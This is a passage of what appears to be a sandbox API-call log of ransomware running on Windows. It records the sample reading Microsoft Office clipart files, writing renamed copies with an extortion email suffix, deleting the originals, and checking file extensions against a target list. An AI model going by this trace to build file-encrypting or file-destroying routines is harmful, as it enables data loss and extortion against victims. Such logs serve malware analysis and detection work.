dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.546] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.546] GetLastError () returned 0x0 [0091.546] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0091.816] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0091.817] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.818] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.818] SetEndOfFile (hFile=0x308) returned 1 [0092.188] CloseHandle (hObject=0x308) returned 1 [0092.534] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.572] SetEndOfFile (hFile=0x354) returned 1 [0093.032] CloseHandle (hObject=0x354) returned 1 [0093.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0093.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.040] lstrlenW (lpString=".doc") returned 4 [0093.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.040] lstrlenW (lpString=".docx") returned 5 [0093.040] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.040] lstrlenW (lpString=".pdf") returned 4 [0093.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.040] lstrlenW (lpString=".xls") returned 4 [0093.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.041] lstrlenW (lpString=".xlsx") returned 5 [0093.041] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.041] lstrlenW (lpString=".ppt") returned 4 [0093.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.041] lstrlenW (lpString=".zip") returned 4 [0093.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.041] lstrlenW (lpString=".rar") returned 4 [0093.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString=".bz2") returned 4 [0093.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString=".7z") returned 3 [0093.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.041] lstrlenW (lpString=".dbf") returned 4 [0093.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.041] lstrlenW (lpString=".1cd") returned 4 [0093.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.041] lstrlenW (lpString=".jpg") returned 4 [0093.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.041] lstrlenW (lpString=".doc") returned 4 [0093.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString=".docx") returned 5 [0093.041] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.041] lstrlenW (lpString=".pdf") returned 4 [0093.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.041] lstrlenW (lpString=".xls") returned 4 [0093.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.041] lstrlenW (lpString=".xlsx") returned 5 [0093.041] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.042] lstrlenW (lpString=".ppt") returned 4 [0093.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.042] lstrlenW (lpString=".zip") returned 4 [0093.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.042] lstrlenW (lpString=".rar") returned 4 [0093.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.042] lstrlenW (lpString=".bz2") returned 4 [0093.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.042] lstrlenW (lpString=".7z") returned 3 [0093.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.042] lstrlenW (lpString=".dbf") returned 4 [0093.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.042] lstrlenW (lpString=".1cd") returned 4 [0093.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0093.042] lstrlenW (lpString=".jpg") returned 4 [0093.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.042] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.042] lstrlenW (lpString="J0101857.BMP") returned 12 [0093.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.043] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=32184) returned 1 [0093.043] CloseHandle (hObject=0x354) returned 1 [0093.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0093.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.043] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.043] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.044] GetLastError () returned 0x0 [0093.044] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.046] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.047] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.047] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.048] SetEndOfFile (hFile=0x390) returned 1 [0093.048] CloseHandle (hObject=0x390) returned 1 [0093.048] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.048] SetEndOfFile (hFile=0x354) returned 1 [0093.049] CloseHandle (hObject=0x354) returned 1 [0093.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0093.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.049] lstrlenW (lpString=".doc") returned 4 [0093.049] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.049] lstrlenW (lpString=".docx") returned 5 [0093.049] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0093.049] lstrlenW (lpString=".pdf") returned 4 [0093.049] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.049] lstrlenW (lpString=".xls") returned 4 [0093.049] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".xlsx") returned 5 [0093.050] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0093.050] lstrlenW (lpString=".ppt") returned 4 [0093.050] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.050] lstrlenW (lpString=".zip") returned 4 [0093.050] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".rar") returned 4 [0093.050] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".bz2") returned 4 [0093.050] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".7z") returned 3 [0093.050] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.050] lstrlenW (lpString=".dbf") returned 4 [0093.050] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.050] lstrlenW (lpString=".1cd") returned 4 [0093.050] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.050] lstrlenW (lpString=".jpg") returned 4 [0093.050] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.050] lstrlenW (lpString=".doc") returned 4 [0093.050] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".docx") returned 5 [0093.050] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0093.050] lstrlenW (lpString=".pdf") returned 4 [0093.050] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".xls") returned 4 [0093.050] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.050] lstrlenW (lpString=".xlsx") returned 5 [0093.050] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0093.050] lstrlenW (lpString=".ppt") returned 4 [0093.050] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.051] lstrlenW (lpString=".zip") returned 4 [0093.051] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.051] lstrlenW (lpString=".rar") returned 4 [0093.051] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.051] lstrlenW (lpString=".bz2") returned 4 [0093.051] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.051] lstrlenW (lpString=".7z") returned 3 [0093.051] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.051] lstrlenW (lpString=".dbf") returned 4 [0093.051] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.051] lstrlenW (lpString=".1cd") returned 4 [0093.051] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0093.051] lstrlenW (lpString=".jpg") returned 4 [0093.051] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.051] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.051] lstrlenW (lpString="J0101858.BMP") returned 12 [0093.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.052] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=32184) returned 1 [0093.052] CloseHandle (hObject=0x354) returned 1 [0093.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0093.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.052] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.052] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.053] GetLastError () returned 0x0 [0093.053] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.054] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.056] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.056] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.056] SetEndOfFile (hFile=0x390) returned 1 [0093.056] CloseHandle (hObject=0x390) returned 1 [0093.056] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.056] SetEndOfFile (hFile=0x354) returned 1 [0093.057] CloseHandle (hObject=0x354) returned 1 [0093.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0093.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.058] lstrlenW (lpString=".doc") returned 4 [0093.058] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString=".docx") returned 5 [0093.058] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0093.058] lstrlenW (lpString=".pdf") returned 4 [0093.058] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString=".xls") returned 4 [0093.058] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString=".xlsx") returned 5 [0093.058] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0093.058] lstrlenW (lpString=".ppt") returned 4 [0093.058] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.058] lstrlenW (lpString=".zip") returned 4 [0093.058] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString=".rar") returned 4 [0093.058] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString=".bz2") returned 4 [0093.058] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString=".7z") returned 3 [0093.058] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.058] lstrlenW (lpString=".dbf") returned 4 [0093.058] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.058] lstrlenW (lpString=".1cd") returned 4 [0093.058] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString=".jpg") returned 4 [0093.059] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString=".doc") returned 4 [0093.059] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString=".docx") returned 5 [0093.059] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0093.059] lstrlenW (lpString=".pdf") returned 4 [0093.059] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString=".xls") returned 4 [0093.059] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString=".xlsx") returned 5 [0093.059] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0093.059] lstrlenW (lpString=".ppt") returned 4 [0093.059] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString=".zip") returned 4 [0093.059] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString=".rar") returned 4 [0093.059] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString=".bz2") returned 4 [0093.059] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString=".7z") returned 3 [0093.059] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString=".dbf") returned 4 [0093.059] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString=".1cd") returned 4 [0093.059] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0093.059] lstrlenW (lpString=".jpg") returned 4 [0093.059] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.060] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.060] lstrlenW (lpString="J0101859.BMP") returned 12 [0093.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.060] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=31968) returned 1 [0093.060] CloseHandle (hObject=0x354) returned 1 [0093.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0093.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.060] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.060] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, 